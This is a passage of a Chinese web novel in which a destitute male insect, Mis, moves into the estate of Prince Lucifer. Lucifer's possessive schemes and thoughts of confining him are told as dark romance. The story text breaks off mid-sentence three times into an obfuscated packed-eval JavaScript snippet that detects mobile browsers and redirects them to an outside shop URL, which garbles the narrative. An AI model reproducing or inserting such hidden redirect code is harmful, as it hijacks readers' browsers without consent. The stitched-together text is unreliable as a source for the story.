“帝国对S级雄虫还是颇为照顾的,我记得每个月都有高额的补贴的,你怎么会没有星币?” “嗯嗯,有的有的,但我净身出户了。” “你来到帝星进行等级测试之后,帝国会给你分配一套住宅和一大笔补偿金,按理来说,” 弥斯再次打断,“嗯嗯,可能吧,但我净身出户了。” “这才两三天,怎么就花完了,是买什么东西了吗?” 见路西法不相信,弥斯只能细细的讲述了他也才刚刚搞明白的事情。 路西法一开始听的还很认真,之后他的心思就慢慢放到了,雄虫现在身无分文也没有住处,所以…… 他可以把虫骗回家! 弥斯深深叹了一口气,“唉,我怎么这么笨,早知道就多了解了解帝国的政策了。” “挺好的。”路西法下意识地回答。 说完就发现雄虫的眼神不对,他急忙改口,“我的意思是,现在也不算糟糕,不是还有我的吗?我是你的好朋友,不是吗?” 弥斯太感动了,要不是顾及雄雌大防,他真的要给路西法一个大大的拥抱。 “你真是太好了,路西法,所以,你是要借我一点星币吗?” 弥斯自顾自的往下说:“不需要太多,我每天的日常开销大概是100星币,一个月的话,我只要借4500就好了。” “你一定会借我的吧?” 弥斯殷切地看着路西法,这只闪闪发光的金雌虫。 如果不了解弥斯的状况,借点星币而已,路西法肯定二话不说的就借了,但现在可是他趁虚而入的好机会,自然要好好把握。 “嗯,我会给你星币的。” 弥斯感动的看向他,“路西法,你真是个好虫。” “但是……” 听到这两个词,弥斯的脑子里涌上了一种不详的预感。 “怎么了?” “弥斯,你有没有想过,放假之后住在哪?一直住在宿舍吗?” “会不会太压抑了,工作那么累,也没有个说话的虫。要不要考虑去我那里住,反正我房子大,空房间也多……而且和桑因的住所离得也近,你要是想去找他玩也方便。” 路西法面色凝重,一副他全心全意都在为弥斯考虑的模样。 弥斯也沉默了,他以前能坚持每周回家的原因,不单单是因为他有雄德要照顾少将的精神海。 还有一个不为虫知的原因,学院的雌虫真的太变态了! 弥斯变成雄虫之后,要说最不适应的,就是他突然娇软易推倒的体质,所以一直坚持锻炼和晨跑。 在学院的时候,他每天6点起床,6点15出门晨跑,这个时间已经是他在保障基本睡眠之后,最早的起床时间了。 但依旧每天都有好多虫在这个时间锻炼! 弥斯不是排斥和大家一起锻炼,主要是,那群虫都像是暴露狂一样,每天就光着个膀子! 天杀的,他以前好歹也是有六块腹肌的人,到了这里之后,白了不说、腹肌也没了,不管怎么锻炼,这肌肉愣是长不出来! 而那群雌虫,个个肌肉发达,还不怕冷!不论春夏秋冬,都是光着上衣。 弥斯每天的晨跑简直是一场精神酷刑,但偏他不信邪。坚持了三年之后,腹肌总算是勉勉强强的回到了六块,其他地方的肌肉增速比蜗牛爬的都慢,基本等于0。 所以,回到别墅,远离那群肌肉雌虫,也算是弥斯缓口气的方式。 如果,一个月都要面对这样的事情,那真的太痛苦了! 18. 第 18 章 弥斯:【六六,你说,这样会不会不太好】 路西法邀请他之后,倒是没有催他做决定,只是说,想好了就告诉他。 弥斯回到宿舍躺在床上,仔细思考这件事的可行性。 别的都好说,他虽然现在一穷二白,还有4500星币的欠债,但是等下个月,他就变成有钱虫了。 自然不会白住,到时候可以付房租给路西法,而且也可以帮着做饭,他厨艺还行。 主要是,雄雌有别,对他的影响倒是不大,可路西法毕竟是未婚雌虫,要是被他未来雄主知道,他和别的雄虫一起住过,名声上肯定会受到影响。 他不能这么自私的。 小六:【为什么不太好】 弥斯:【虫族不是很在意雌虫的清白吗,我住进他家里,他的名声肯定会被影响】 小六:【路西法是帝国的皇子殿下,受影响的概率:计算中……】 小六:【1.18%】 小六:【概率很小呢,宿主(≧?≦)】 弥斯闭着眼假装他已经睡了,差点忘了路西法不但是有钱虫还身份尊贵,哪有虫敢造他的谣。 翌日清晨, 弥斯一如既往地从床上爬起来,抬眼看过去,主角已经不在宿舍了。真是好自律一虫,早睡早起,神龙见首不见尾。 这会儿还很早,视线明亮但不刺眼……恰好可以将光膀子的诸位看得一清二楚,对比之下,弥斯真是自惭形秽。 要不是清楚他是只连名字都未曾出现的炮灰虫,弥斯可能真的要误会这群虫是在挑衅他了,但他坚持了三年有余,这群虫也坚持了很久,所以,可能这真就是虫族不为人知的癖好。 他真的太可怜了,怎么一只正常虫都没遇到,这就是种族差异吗? 7点左右,弥斯冲凉结束,大脑前所未有的清醒。 弥斯:【接下来的一个月就麻烦你了,路西法】 弥斯妥协了,如果每天都被精神攻击,他确实需要时间缓一缓。 路西法:【好的,我已经将房间收拾出来了】 【弥斯,你喜欢什么样的装修风格,要不要重新装点一点房间】 【卧室.jpg】 弥斯大概扫了一眼,他这个好朋友真的是一点儿都没变。 【不用】 【谢谢你,路西法】 解决了住所和星币的问题,弥斯的日子又恢复了平淡,总算是可以专心投入到科研中。 “圣嗣2.0”的项目对他十分重要,如果成功的话,弥斯所在的项目组将有希望从科研所中独立出来。 到那时,就不用一直待在学院了,虫来虫往的,保密工作做得十分艰难。 路西法早早就等在了研究所门口,准备接雄虫下班,这是他一直以来梦寐以求的事情。 虽说现在和他幻想的还有些出入,但已经是非常大的进展了,只要把雄虫拐回家里,之后的事情岂不是顺理成章。 路西法已经想了一整套留下雄虫的组合拳,必须要让弥斯体会到□□的感觉,再也不舍得离开他……的家才行。 “路西法,你怎么又来了?” 弥斯今天从实验室出来的时候,天还没黑。 项目有了一些进展,接下来的一段时间,除了拉索,其他虫都会稍微闲一点。 最近见到路西法的频率好像高了不少,弥斯在心里默默地和他比较了一下,真的好闲啊,路西法。 军雌脸都黑了,不过他本来就黑,倒不会被发现。 “你不想见到我。” 雄虫听到他的话,瞪圆了眼睛,夕阳的余晕给他增加了一点淡黄色的滤镜,看起来更加可爱了。 弥斯离婚后,好像心情更好了一点,这个发现让路西法的心情也稍微好了一点。 “没有,没有。” “你这是在冤枉我,”弥斯想了想,不和他一般计较,这一个月还要仰仗路西法生活。“算了,我不和你一般见识。” 好乖。 路西法柔声说:“不是要去我那边吗?正好顺路,我就来这里等你了,一起回家吧。” 顺路?弥斯没有说话,萨达卡尔学院应该没有任何一条路能顺到研究所。 “哦,但我还要收拾一下东西。” 宿舍里还堆了一些杂物,需要暂时搬过去,不然他的卧室真的太挤了。 对哦,弥斯想起来了,他还有一些东西落在少将的家里,那是不是要找时间去拿一下,不然一直放在别虫家里也不太好。 “我陪你一起!” 路西法急忙接话,收拾什么都行,只要不突然改变主意,还愿意和他一起回家就行。 “哦,那麻烦你了?” “东西很多的哦,你确定要陪我一起,我自己也可以的。” 弥斯给路西法打了一个预防针,他要是还愿意跟着一起,那就不能怪他了。 “嗯,我陪你一起。” 雄虫能有多少东西,路西法根本就没把弥斯的劝告放在心上,他现在脑子里只有一件事,那就是雄虫要和他一起回家。 弥斯开心,走路都轻快了不少。 “弥斯,你最近看起来真的很开心。” 路西法突然开口,他为此感到开心,弥斯这般可爱的雄虫就应该开开心心的才对,每天都冷着脸,对身体不好。 弥斯插在口袋里的手攥了一下,“有吗?” “嗯,你最近的笑容都多了不少。” 弥斯脸上的笑意慢慢的消散了,面上逐渐恢复了平淡。 弥斯:【六六,我最近很开心吗】 小六查了一下宿主的心情值,确实已经超越了及格线,但它可是一个BUG多多的系统,偶尔看错数据也是很合理的。 小六:【没有啊,宿主的心情值一直稳定在60分】 弥斯有些疑惑,但数据是不会骗虫的。 【那路西法怎么突然这么说】 小六快急死了,原则上系统是不能说谎的。 小六:【因为路西法心情好,他真的太粗俗了,喜形于色,和宿主完全不一样】 对不起了,路西法殿下,要是能安慰到宿主,想必你也是愿意背锅的吧。本来就是你挑起来的事情,也没冤枉你。 弥斯半信半疑,“路西法,你心情很好吗?” “是的,和……嗯,好朋友一起住,是一件很愉悦的事情。” 路西法本来打算说未来雄主,可弥斯是只脸皮薄的,他要是“开这种玩笑”,雄虫肯定会生气,到时候就不好哄了。 弥斯信了,小六也松了一口气,好险。 其实,也不是特别大的事情,只是宿主好像不能接受,宿主觉得喜形于色是一件失礼的事情。 006一开始也不理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雄虫从房间里探出了一个脑袋,略显羞涩地看向他。 弥斯本来还有点不好意思,毕竟他又不是小虫崽了,怎么还拽别虫的衣袖,实在是不太优雅。 可他看着眼前的打磨机,好重,弥斯虽然经常锻炼,但他其实是个花架子,没办法,这是雄虫的体质决定的。 要是平时,弥斯可能真的会选择自己来,他不喜欢麻烦别虫。 可……这对他来说非常重,但是对于像路西法这样的S级军雌,不就像喝水一样简单吗? 路西法没有半分犹豫,直接就走了进去,看到雄虫的那一刻,他刚刚所有的担心都凭空消失了。 好可爱,雄虫肯定是纠结了一会儿,嘴唇都咬红了,啧,又勾引他。 “弥斯,需要我做什么呢?” 路西法进雄虫卧室之前都是开心,但是一看到这个逼仄的环境,眉头不自觉地皱了起来。 “怎么这么挤?” 不大的房间里面,虽说收拾的十分规整,但大大小小的工具和收纳箱,将除了床之外的空隙占得满满当当。 只留下了进去的一小点空间,弥斯身形比较小,倒也不会特别难受。但路西法进来之后,房间内就真的没有其他下脚的地方了。 19. 第 19 章 弥斯本来不觉得房间挤,可看着路西法这么一大只军雌小心翼翼地挪动,羞耻感瞬间涌上了心头。 “对不起,那个……” 弥斯支支吾吾的想为自己辩解,他真的不是邋遢,可环视一周,确实有点……杂乱,各种工具都堆在房间里,很难不令虫误会。 早知道就不让路西法帮忙了,他会不会觉得自己是一只不爱干净的虫,或者…… 他会不会觉得垃圾星来的,就该是这样的虫。 弥斯心里有些烦躁,但他不喜欢把事情憋在心里。 弥斯沉默了,开始酝酿怎么合理的解释眼前的情况。 路西法难得没有等雄虫把话说完,他皱着眉头扫视了一圈,嫌弃地说:“弥斯,这个房间真的太小了,怎么配得上你。” “我在学院旁边有一间小公寓,以后周一到周五,你就在那里住吧,离学院很近的,就在对面。” 这件公寓还是特意为了雄虫买的,路西法平时住的地方离萨达卡尔学院还是很远的,所以为了方便来找弥斯,他就高价购入了一间公寓。 弥斯顿了一下,“这些以前都放在另一间卧室的,因为有虫搬进来了,所以暂时都堆在了这里。” 至于为什么不搬回家,少将前段时间一直都不太开心,弥斯也是想尽可能安静一些,不想再节外生枝。 弥斯忙着解释,等他解释完,总觉得他好像忘了什么,可一时间也想不起来,估计也不太重要,等想起来的时候再说吧。 路西法表示理解,并动作迅速地把雄虫做工的东西搬到楼下,全程弥斯就像是一个无用的摆件,拘谨地站在门口当吉祥物。 他是想帮忙的,呸,他没有想过完全让路西法帮忙,但是他刚刚搬起一个不太重的收纳箱,就被路西法抓包了。 路西法满眼的不赞同,“弥斯,不要闹。” 只见军雌凝着眉,双手摁在雄虫的手臂上,稍微用了点力气,就把雄虫端到了门口。 “乖乖站在这里,我很快就搬完了。” 弥斯脸都红了,他又不是虫崽,也可以帮忙…呸,也可以自己搬得,他可是很独立的雄虫。 最重要的是,路西法那是什么语气,像是哄小虫崽一样,可恶。 什么意思,瞧不起他,可恶的军雌,不就是肌肉比他大了点,可恶的虫族,要是在蓝星,他才不会变成弱鸡。 小六:【宿主,路西法殿下太体贴了吧】 和某只少将比,简直强太多了,006在心里偷偷拉踩。 弥斯不是一只节俭的虫,光是做工的东西,他怕麻烦,一直都是家里一套、宿舍一套的。 006一直盯着索伦少将和宿主相处,当时宿主进进出出的搬东西的场景,006都记得清清楚楚。 当时,索伦少将应该是在忙工作上的事,看到宿主签收快递,假模假样地问需要帮忙不。 宿主当时的心情值都升了10个点,可是看到他还在接音讯,就摇摇头说不用。 然后那只虫还真就看着宿主来来回回地搬,明明后面的时候,他都已经忙完了!!! 弥斯看到六六的发言,只花了0.01秒就反驳了它。 【一点儿也不体贴!】 谁家好虫半分不照顾一下他敏感的神经,就那么把他端出来了,他不要面子的嘛,幸好没有别的虫看到。 想到这,维克尔今天怎么还没回来,哦哦哦,周五来着,估计也回家了。 弥斯隐约记得,主角是和竹马住在一起的。 “弥斯,我们回家吧,东西都已经搬下去了。” 弥斯进房间打量了一番,确实搬完了,搬得也太干净了!连他衣柜里的衣服都搬走了,不知道还以为他不回来了呢。 弥斯想说些什么,但是看着刚忙完的好朋友,又觉得现在说也不太合适,算了,衣服这种东西,背回来也挺方便的。 路西法从雄虫绷直的背影中读出了几分震惊,但他选择保持沉默,反正弥斯应该不会让他重新搬上来。 弥斯果真如他所想的那般,安静的下楼了。 “咦?” “东西我找虫送到家里了。” 这会儿又知道他在想什么了? 弥斯有时候都怀疑路西法是不是装笨,刚刚怎么不见他这么聪明,现在又一下子就能猜到他在惊讶什么。 路西法一直紧盯着雄虫,生怕错过他的任何一个情绪,见弥斯没有生气,就继续装作看不懂。 “走吧,带你回家。” 弥斯跟在路西法的后面,走了好长一段路才出了学院。 这时候他又发现有点不对劲,“路西法,那只帮忙搬东西的虫没开飞行器吗?” 路西法稍微有些震惊,没有控制住面部表情,弥斯什么时候这么敏锐了。 “应该是开了。” 路西法喜欢隐瞒一些小细节,但从来不会欺骗雄虫,他知道弥斯讨厌什么。 弥斯用鼻音哼了一声,“那为什么我们要走过来?” “可能是他忘了吧,等回去就扣他工资。” 路西法一点儿也不心虚,他可什么都没说,只不过是没有拦着,这可不算欺骗。 “弥斯阁下,你觉得我这样处理可以吗?” 弥斯被噎了一下,“不可以!” 懒得理这只装模作样的路西法,弥斯板着脸坐上了他自己的飞行器。 雄虫好像生气了?路西法没控制住,笑了一下,又恰好被开了舱门的弥斯看到。 弥斯冷声问:“地址?” 可恶的路西法!嗯?他怎么也染上了这个口癖,桑因的影响还是太大了。 路西法脸上的笑意暂时收敛了一下,可怜巴巴地说:“弥斯阁下,我的飞行器被工作虫开走了,不知道您能不能捎我一程。” 弥斯真的不想理他,路西法绝对是故意的,但他又没办法拒绝,狡诈的雌虫。 “嗯。” 弥斯决定保持刚认识时的冷漠,直到路西法承认,他就是故意的。 路西法呲着个大白牙就走过来了,弥斯更是看的牙痒痒,总觉得被他得逞了,又不知道被他得逞了什么,真是气虫。 “你来开!” 弥斯坐到了后面,虽然飞行器也可以自动驾驶,但是出了一次事之后,他就再也没法相信AI了。 如果路西法不上来,六六就会帮它开,安全系数也很高,但是,现在,弥斯决定小小的报复一下路西法。 开飞行器可是一件很耗精力的事情,飞行器速度太快了,又有那么多按钮,如果不用AI,真的挺麻烦的,反正他是不喜欢开的。 路西法十分听话地坐在驾驶位,甚至还好心情的扭过头问他:“那么,弥斯阁下,请坐好,我们要出发了。” 弥斯狠狠地拽过安全带,他可是很爱惜自己的性命,上次就是安全带救了他一命。 还有,这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路西法也怕真把雄虫惹急了,赶紧道歉,“对不起,都是我的错,别生气了,看在我在家里准备了礼物的份上,弥斯阁下还是原谅我这一次吧。” 弥斯本来确实有点急了,但一听到礼物,又有些不好意思。 他小声嘟囔着,“还要准备礼物啊……可我什么都没准备……” 雄虫的脸色一下子变得苍白,像是想到了什么可怕的事情。 小六注意到心情值的变化,联系一下上下文,破解出宿主在意的点——无礼,可这题有点超纲了。 小六:【宿主,数据显示,在赫克斯,很少有虫会在上门时送礼,这应该只是路西法殿下的个虫行为】 弥斯没有说话,但脸色稍微好了一点,要不是006能看到宿主的心情值,或许真有可能认为宿主被它安慰到了呢。 小六:【桑因阁下来家中做客,也没有带礼品哦】 弥斯面上已经完全恢复了平静,006翻了好几遍心情值,还是可怜的40。 【六六,我没事】 弥斯知道他太敏感了,甚至这是不对的,他不能每次都这么想,除了让六六担心。 可身体又彷佛不受他的控制,心情也脱离了掌控,他太没用了。 弥斯闭上眼睛,试图恢复平静,可耳边彷佛响起了父母的争吵。 “你看看他都什么样子了,谁家小孩见了人都不知道说话的!” “你现在又说这个了,当初是你非要去工作,把孩子交给保姆的。” “孩子是我一个人的吗?你倒是轻松,家里的事情你问过一点吗?” “那我不是要赚钱吗?我不赚钱,家里的房子,他吃的、用的哪里来!” …… 20. 第 20 章 弥斯知道这是不一样的,桑因只是来家里做客,但他是要借住在路西法的家里的。 更甚之,路西法都给他准备了礼物,想来是十分在意他这个朋友的。 可他呢,不但麻烦了路西法,还是空手去的,现在连个像样的礼物都送不出来,岂不是笑话。 刚刚雄虫生气他偷看,路西法就老实了一阵子,但很快,他又故态复萌。 这谁忍得住,一直心心念念的雄虫就坐在后面,甚至还是要和他一起回家,而且之后很长很长的时间里都要和他在一起。 能忍住的不是一般虫,路西法承认他有时候真的挺一般的。 雄虫看起来不太开心,难不成还在为了他偷看的事情生气,路西法有些不确定,刚刚有这么生气吗? “弥斯,还再生气吗?” “都怪我,好不好?” “我不该受不住诱惑,都是好朋友,我明明知道你不喜欢被别虫盯着,还这样做,实在是太不够意思了。” “都是我的错,弥斯阁下要是还生气,到家罚我做几组俯卧撑,好不好?” 弥斯听到“俯卧撑”这三个字,简直是气不打一处来,他还敢提这个! 他愤愤地说:“一组十个,做三组!” 见雄虫脸上恢复了红润,看起来和张牙舞爪的幼兽没什么差别,路西法这才松了一口气。 路西法态度很好的应和道:“好。” “弥斯怎么对我都行,毕竟我有前科,对不对?” 弥斯想了想往事,高高抬起头,冷哼了一声。 “当然!” 小六看着心情值,恢复了正常水平,好奇怪,路西法殿下果真有魔力,总是能碰巧安慰住宿主。 其实,站在军训教官的身份上,路西法也没做错什么。 可太丢虫了,弥斯每次想起来还是很生气。 他不过是小小的迟到了一分钟,路西法就嘲讽他没有时间观念,罚他做三组俯卧撑。 本来这也没什么,但那时候的弥斯从来没有锻炼过上肢力量,他又是只雄虫,想也可以想到现场多惨烈,总之不堪回首。 弥斯在心里恨恨地想,不怪他那时候想利用路西法,实在是太讨厌了,哼! “你为什么讨厌我?” 要是能时间回溯,路西法也想回到刚认识的时候,他只是……从来没有过在意的虫,所以突然遇到了喜欢的虫,也没有意识到。 “我没有!” “唉~”雌虫深深叹了一口气。 “毕竟不是虫虫都像弥斯阁下这么聪明,我就犯了一次蠢,弥斯雄虫有大量,原谅我,好不好?” 真就那一次,从那之后,他路西法,帝国尊贵的皇子殿下,每天都跑到雄虫面前伏底做小。 弥斯抬了抬下巴,没有说话,那是他最丢虫的一次,连在蓝星都没那么狼狈过。 路西法知道这是哄好了,弥斯就是这样,看着娇气,其实虫特别简单,也特别好懂,就算生气了,也特别好哄。 所以,至今为止,路西法还是没想明白那只虫到底还做了什么,让弥斯那么生气,那虫可能也是个天才。 飞行器停了,路西法打开舱门,率先下去,然后等在舱门口,迎接尊贵的小雄虫。 弥斯慢悠悠地解开安全带,刚站起身就想起来,他好像没磕到头,飞行器修完变化这么大吗? “欢迎回家,弥斯。” 路西法单手背后,另一只手臂伸展,看起来还真像迎宾的工作虫,除了过于冷硬的脸和高大威猛的身材。 弥斯这才抬眸看过去,视线越过故作低姿态的军雌,看向诺大的庄园,好大! 这是弥斯看到之后的第一个想法。 万恶的有钱虫!这是第二个。 他也算是交到富哥做朋友了。这是第三个。 路西法怎么不求他帮忙花钱啊,这么有钱花得完吗?这是最后一个。 但最终,弥斯只轻飘飘的扫了一眼,他才不是会为了星币迷失自己,毕竟虫啊,够花就行,赚那么多星币,花都花不完,有什么意思。 弥斯绝对没有羡慕,绝对没有。 路西法看雄虫眼睛流露出的喜爱,心中暗喜,看样子,弥斯还挺喜欢星币,这东西他最是不缺。 带雄虫坐在飞行座椅上,看着他眼睛里细碎的光芒,路西法觉得心里烫烫的,真的太诱虫了,不敢想如果雄虫这样看着他的话…… 估计雄虫剜他的心口,路西法都要帮忙递刀吧,反正不会死,哄雄虫开心也好。 太气派了,怪不得路西法不知道虫间疾苦,弥斯甚至觉得自己可能再也成为不了一只普通的炮灰了。 这种生活看多了之后,弥斯真做不到两眼空空。 桑因的家里也这么豪横吗?上次坐飞行器的时候,心里有事,再加上没有像这样,坐着飞行座椅游览,还真的对桑因家里的繁华没有实感。 不管怎样,飞行座椅也是稳稳地开到了家门口,弥斯恍恍惚惚地走下来。 路西法怕他摔倒,一直在后面盯着,雄虫看起来真的很喜欢,如果把房子送给雄虫的话,弥斯会不会更在意他多一点。 不行,好不容易把雄虫骗回家,要是送了,估计他就没办法待在这里了,那可不行。 赫克斯帝国有句经久不衰的古话:火力覆盖、剑走偏锋,才能无往而不利。 路西法体贴的表示:“今天就先好好休息,明天再带你四处转转,熟悉一下环境。” 弥斯走了几步,心事重重地跟在路西法后面。 把虫带到了主卧,路西法本来打算先离开,但是看着雄虫明显有心事,就站在原地等雄虫缓一缓。 良久, “路西法,我没有星币给你。” 弥斯拘谨地坐在沙发上,他很感动路西法不顾雌虫名声,在他身无分文的时候收留自己。 虽说刚刚心里活动十分复杂,但是到了最后,弥斯想的还是,这么豪华的庄园,租金他真的付不起。 弥斯从来没想过白住,但,这个庄园不论是地段还是装潢,都太贵了,贵到哪怕发了补贴之后,他变成了富虫,估计也承担不起这里的房租。 可怜的雄虫垂下眼眸,乌黑浓密的睫毛微微颤抖,甚至可能是到了新环境的不适应,连信息素都逸散了一点出来。 路西法贪婪的嗅着空气中微薄的信息素,雄虫在想些什么,连信息素都有些发苦。 瞧瞧,多么无知的雄虫,明明是被他骗回了家,甚至之后也会被他困在精心编织的巢穴里,却还觉得他是什么好虫。 “没关系的,弥斯。” 路西法诡异的金 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“嗯,你放心,不管发生什么,我都会帮你的。” 都会帮我的吗,路西法靠在沙发上,感受到身体的细微变化,以及精神海的躁动。 再等等,再等等,路西法。 雄虫还没做好准备,不要逼他,不要让他不开心,雄虫那么相信你,再等等,再等等…… 弥斯本来十分在意该付的高昂租金,但在路西法的三言两语下,他就自洽了。 都是朋友,他现在有难,路西法帮他,等路西法需要他的时候,他也能帮回去啊。 朋友之间,经济不对等也很正常,但是心意是一样的。 嗯,弥斯觉得自己悟了。 弥斯洗漱完就躺下睡了,其实他本来不累的,但是路西法临走前说他忙了一天,弥斯潜意识里还真认可了这句话。 弥斯又和六六聊了一会儿,就真的有些困了。 搬家太累了,确实应该好好歇歇。 意识消失之前,弥斯甚至还在想,路西法真是好体贴啊,连洗漱用品都准备好了。 路西法还保持着原来的姿.势,雄虫已经洗完了吗,他会发现吗,估计是不会的,雄虫心大,这点小事肯定注意不到。 一想到雄虫用了他曾经抱过的浴巾、浴袍,还有他亲自放上去的洗漱用品,甚至还躺在他睡过的床上…… 好恶心,路西法,你真的太恶心了,雄虫知道你在背后做得这些吗? 弥斯不会知道的,他很了解弥斯,自然清楚雄虫是不会知道的。 可万一呢,万一雄虫发现了他做得那些“好事”,还会这么相信他吗,还会像现在这样看他吗? 肯定不会的,弥斯会害怕、会厌恶、还抗拒他的靠近。 那时候,路西法就只能把雄虫关进地下室,不行,地下室那种阴暗潮湿的地方怎么配得上雄虫。 就关在房间里吧,会不会憋坏了,房间那么小,不行。 找一颗小星球吧,只有他们两只虫,不会被别虫打扰…… 黑夜掩盖了许多肮脏的事情,路西法想了一下,有时间要去达利锡医虫那里一趟了,他不能发疯的,要控制住,要控制住…… 21. 第 21 章 索伦这段时间很烦,周围的所有虫都在用异样的眼神看他。 星网上的帖子虽然都被删的差不多了,但是,帝星上的虫也差不多全知道了。 他甚至都不知道雄虫到底什么时候晕倒的,也不知道雄虫到底为什么不吃饭,这不是他能决定的。 他很忙,身为少将,他每天都要在军部处理大量的工作,哪有时间去关注那么小的事情。 弥斯又不是雄虫崽了,吃饭都要虫提醒吗?他不懂,为什么所有虫都觉得是他的过错。 主虫也一直在施压,逼迫他去向雄虫示好,去哀求雄虫的谅解,最好能重新把雄虫求回来。 连卡尼上尉都向他确认了几次,雄虫是否真的不会来了。 索伦坐在办公室,烦躁地看着眼前的文件,第一次觉得工作也是一件如此浪费时间的事情。 他转身站起,在办公室里徘徊了几圈,不知是想到了什么,他又安心坐了回去。 弥斯离不开他的,弥斯是被他救回来的,没有虫比他更了解他。 很快,弥斯肯定会重新回来找他的。 …… “弥斯,回来了?” 弥斯晨跑回来,本来打算直接回卧室里冲凉,没想到被路西法叫住了。 “怎么了?” 还是大庄园好啊,跑步时一只虫都没有,眼前只有盛开的花花草草,鼻间只有一夜沉淀下的清凉,耳边也不会听到一些污言秽语。 路西法端着健康餐从厨房里走出来,“先吃点东西,不要运动完直接去洗澡,对身体不好。” 弥斯顺着声音看过去,视线瞬间就被围裙下的壮硕胸肌抓住了。 好大! 不知道路西法怎么练得,真羡慕。 路西法因为要准备早餐,只穿了一件衬衫就套上围裙开始做饭了。 要是平时,他是不会带这种麻烦的东西的,穿起来太紧了,动作也会受到限制。而且稍微注意下,也不会弄脏衣服,实在是多此一举。 只不过,路西法在雄虫同意搬进来之前,或者说在更早的时候,就在星网上学了很多让雄虫上.瘾的小妙招。 果然,雄虫的视线看向了他特意露出来的锁骨,路西法觉得忍一忍这个围裙也是值得的。 弥斯有些不好意思地转移视线,假装他完全不在意地看向盘子里的食物。 鸡蛋、豆浆、紫薯……挺健康的,很符合他的饮食习惯。 弥斯磨刀愤愤向食物,好寡淡的健康餐,他真的很讨厌吃,但是想了一下他刚见成效的六块腹肌,还是可以坚持一下的。 路西法在萨达卡尔学院上学的时候,桀骜不驯、年轻气盛的他不觉得自己会为了一只雄虫下厨,所以没修习过厨艺课。 这真的是路西法唯一后悔的事情,非常糟糕的决定,这导致遇到弥斯之前,他是一只不解风情,只知道打打杀杀的冷硬军雌。 太糟糕了,完全无法将雄虫抢过来。 在做饭这件事上,路西法本来是打算按照星网的教程自学的,可做出来的东西都太普通了,这怎么能体现他的优秀。 所以,他咬咬牙报了帝星最贵的厨艺课,整个班上只有他一只雌虫,其他的都是亚雌,也就路西法这种虫壳厚的军雌会去报这种讨好雄虫的课。 也对,手脚粗笨的军雌学厨艺真的……很容易自我怀疑。 “还有这个,新榨的咖梨汁。” “今天的天气太凉了,晨跑结束后,喝点这个,润润嗓子。” 弥斯有些犹豫的接过来,减脂可以喝梨汁吗,令虫生疑,在健身这方面,他真是纯靠自己摸索,早知道在蓝星的时候,就研究一下了。 星网上的信息真假掺半,再加上雄虫几乎没虫愿意健身,弥斯连个志同道合的虫都没有。 “很好喝的,你一定会喜欢。” 路西法看出了他的犹豫,只以为弥斯是不经常喝果汁。 弥斯小小地嘬了一口,温的,微甜,那应该不耽误他减脂,“谢谢。” “你怎么不吃呢?” “太麻烦,我喝营养液就行了。” 军雌都过得糙,给自己做饭这种麻烦事真的没虫愿意做。 “啊,那你还给我做。” 雄虫抬眸不解的看向他,红润的嘴巴像是黏在了吸管上,看样子还挺喜欢这款果汁的。 “不一样。” 弥斯这下连果汁都不喝了,直勾勾的盯着他,显然是想听一个合理的原因。 “雄虫的味蕾比较敏感,营养液的味道对你来说太刺激了,所以你肯定不喜欢。” “但是雌虫在数千年的演变中,为了适应复杂的生存环境,味蕾的敏感度大大降低。” 弥斯不懂,这叽里呱啦的在说些什么。 “我的意思是,喝营养液或者是梨汁,对我来说都差不多,没什么区别,但你不一样。” “我解释的清楚吗?” 黑色卷发增加了雄虫的无辜,看起来格外好欺负,路西法的手有些蠢蠢欲动。 弥斯低下头,又嘬了两口,闷闷地说:“嗯,就是你尝不出什么味道,对不?” 他是这个意思吗,路西法有一瞬间的自我怀疑,但雄虫都这么说了,那肯定就是了。 “嗯。” “好可怜啊。” 弥斯同情地看了一眼雌虫,吃饭嘴里没味,他只有感冒发烧的时候才会这样,真是太惨了,简直是酷刑。 路西法这下确定雄虫是误会他的意思了,但,他看了一眼雄虫眼里的心疼,心安理得的接受了这份关心。 弥斯吃完,站起身打算收拾一下残局,可路西法的动作太快了,他只觉得一阵风刮过,雌虫就已经出现在厨房了,还把门关上了。 弥斯:???他是什么很可怕的虫吗,亦或者,他是什么很勤快的虫吗? 明明说一下,他就会立刻同意,怎么防他像防贼一样? 弥斯走过去,敲了敲厨房的玻璃,然后指了指楼梯,示意他要上楼了。 见雌虫点头,弥斯才上楼去冲澡。 路西法松了一口气,好险,差点就被发现了,果然早上还是不能想太多,太难控制了。 冲凉结束,换好衣服,又配了一条素链,弥斯照了照镜子,看起来还不错。 小六:【宿主真的太漂亮了,简直是沉鱼落雁、闭月羞花、虫见虫爱、花见花开】 弥斯无语,【六六,你这样形容我一只钢铁直雄,合适吗】 为什么不用英俊潇洒、风流倜傥之类的形容他啊,是他不配吗? 弥斯站在镜子面前,掀开下摆,看了一眼已经成型的腹肌,心总算是重新落进了肚子里,坚持还是有结果的。 路西法也是在这个时候,敲了敲门,这突然的响声吓得弥斯浑身一激灵。 “有事吗?” 雄虫把门微微开了一个口子,透过门缝小心翼翼地看着他,心虚的模样还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628005|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为雄虫刚刚在房间里做了什么不好的事呢。 “带你熟悉一下家里。” 弥斯这才若无其事地走出来,老老实实地跟在雌虫身后。 许是刚刚才心惊胆战地检查完他勤勤恳恳,锻炼了三年的成果,弥斯对雌虫这得天独厚的先天优势十分不满。 连带着,望向雌虫的视线都有点羡慕嫉妒恨,连带着看不惯。 